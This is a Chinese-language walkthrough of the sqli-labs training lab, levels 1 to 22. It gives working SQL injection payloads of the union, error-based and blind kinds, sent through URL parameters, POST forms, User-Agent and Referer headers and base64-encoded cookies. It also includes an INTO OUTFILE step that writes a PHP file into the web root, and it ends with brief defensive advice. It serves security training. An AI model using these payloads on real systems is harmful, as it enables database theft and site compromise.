SQL注入练习之sqli-labs(Less1-22)
字数 1796 2025-08-12 11:34:25
SQL注入练习之sqli-labs(Less1-22) 教学文档
1. 基本概念
SQL注入是一种常见的Web安全漏洞,攻击者通过在应用程序的输入字段中插入恶意的SQL代码,从而绕过安全限制,获取数据库中的敏感信息或执行未授权的操作。
2. 注入类型分类
2.1 按注入方式分类
- 联合查询注入(Union-based)
- 报错注入(Error-based)
- 布尔盲注(Boolean-based Blind)
- 时间盲注(Time-based Blind)
2.2 按注入点分类
- GET参数注入
- POST参数注入
- HTTP头注入(User-Agent, Referer等)
- Cookie注入
3. 各关卡详细注入方法
Less1 - 字符型单引号注入
联合注入:
?id=-1' union select 1,group_concat((select database()), (select user()), (select version())),3%23
报错注入:
?id=1' and extractvalue(1,concat(0x7e,(mid((select group_concat(schema_name) from information_schema.schemata),1,31))))%23
布尔盲注:
?id=1' and if(length((select database()))>0,1,0)%23
时间盲注:
?id=1' and sleep(5)%23
Less2 - 数字型注入
联合注入:
?id=-1 union select 1,group_concat((select user()), (select database()), (select version())),3%23
报错注入:
?id=1 and extractvalue(1,concat(0x7e,(select database())))%23
Less3 - 字符型单引号括号注入
联合注入:
?id=-1') union select 1,group_concat((select user()), (select database()), (select version())),3%23
Less4 - 字符型双引号括号注入
联合注入:
?id=-1") union select 1,group_concat((select user()), (select database()), (select version())),3%23
Less5 - 报错注入
报错注入:
?id=5' and extractvalue(1,(concat(0x7e,(select database()))))%23
Less6 - 双引号报错注入
报错注入:
?id=1" and extractvalue(1,(concat(0x7e,(select database()))))%23
Less7 - 文件导出注入
写webshell:
?id=1')) INTO OUTFILE '/var/www/html/phpinfo1.php' lines terminated by '<?=phpinfo();?>'%23
Less8 - 布尔盲注
猜解数据库名:
?id=1' and if(mid((select database()),1,1)='s',sleep(2),0)%23
Less9 - 时间盲注
时间盲注:
?id=1' and if(length((select database()))>0,sleep(5),0)%23
Less10 - 双引号时间盲注
时间盲注:
?id=1" and if(length((select database()))>0,sleep(5),0)%23
Less11 - POST表单注入
联合注入:
uname=-admin' union select 1,database()%23&passwd=asdf&submit=Submit
Less12 - 双引号括号POST注入
联合注入:
uname=-admin") union select 1,database()%23&passwd=asdf&submit=Submit
Less13 - 单引号括号POST报错注入
报错注入:
uname=admin') and extractvalue(1,concat(0x7e,(select database())))%23&passwd=asdgfasdg&submit=Submit
Less14 - 双引号POST报错注入
报错注入:
uname=admin" and extractvalue(1,concat(0x7e,(select database())))%23&passwd=asdfas&submit=Submit
Less15 - POST时间盲注
时间盲注:
uname=admin'+and+if(length((select database()))>0,sleep(3),0)%23&passwd=asdfasdf&submit=Submit
Less16 - 双引号括号POST时间盲注
时间盲注:
uname=admin")+and+if(length((select database()))>0,sleep(3),0)%23&passwd=asdfasdf&submit=Submit
Less17 - 密码字段报错注入
报错注入:
uname=admin&passwd=asdfas' and extractvalue(1,concat(0x7e,(select database())))%23&submit=Submit
Less18 - User-Agent头注入
报错注入:
' and extractvalue(1,concat(0x7e,(select database()))) and updatexml(1,concat(0x7e,(select database())),3),'
Less19 - Referer头注入
报错注入:
' and extractvalue(1,concat(0x7e,(select database()))) and updatexml(1,concat(0x7e,(select database())),3),'
Less20 - Cookie注入
联合注入:
uname=-admin' union select 1,database(),3%23
Less21 - Base64编码Cookie注入
联合注入:
uname=LWFkbWluJykgdW5pb24gc2VsZWN0IDEsKHNlbGVjdCBkYXRhYmFzZSgpKSwzIw==
Less22 - 双引号Base64编码Cookie注入
联合注入:
uname=LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwoc2VsZWN0IGRhdGFiYXNlKCkpLDMj
4. 关键技术与技巧
4.1 联合查询注入关键点
- 使用
union select合并查询结果 - 确定列数(通常使用
order by测试) - 使用
group_concat()合并多行结果 - 使用
null或数字占位符填充不需要的列
4.2 报错注入关键函数
extractvalue(): 从XML中提取值,通过构造错误获取信息updatexml(): 更新XML文档,通过构造错误获取信息- 使用
0x7e(~)作为错误触发点 - 使用
mid()或substring()分段获取长数据
4.3 盲注技术
- 布尔盲注: 根据页面返回的真假判断条件
- 时间盲注: 使用
sleep()函数根据响应时间判断条件 - 常用函数:
if(),length(),mid(),substring(),ascii()
4.4 文件导出技术
INTO OUTFILE: 将查询结果写入文件- 多种写入方式:
lines terminated by: 行终止符lines starting by: 行起始符fields terminated by: 字段分隔符columns terminated by: 列分隔符
4.5 HTTP头注入
- 注入点可能存在于:
- User-Agent
- Referer
- Cookie
- X-Forwarded-For等
- 需要能够修改HTTP头信息
4.6 编码绕过技术
- Base64编码: 用于绕过某些过滤
- URL编码: 特殊字符编码
- 十六进制表示: 使用
0x前缀
5. 防御措施
- 使用参数化查询(Prepared Statements)
- 实施最小权限原则
- 输入验证和过滤
- 使用Web应用防火墙(WAF)
- 错误信息处理(不显示详细错误)
- 定期安全测试和代码审计
6. 总结
本教学文档涵盖了sqli-labs前22关的各种SQL注入技术,包括不同类型的注入方法和各种注入场景。通过实践这些关卡,可以全面了解SQL注入的原理、技术和防御方法。建议在实际环境中谨慎使用这些技术,仅用于合法的安全测试和学习目的。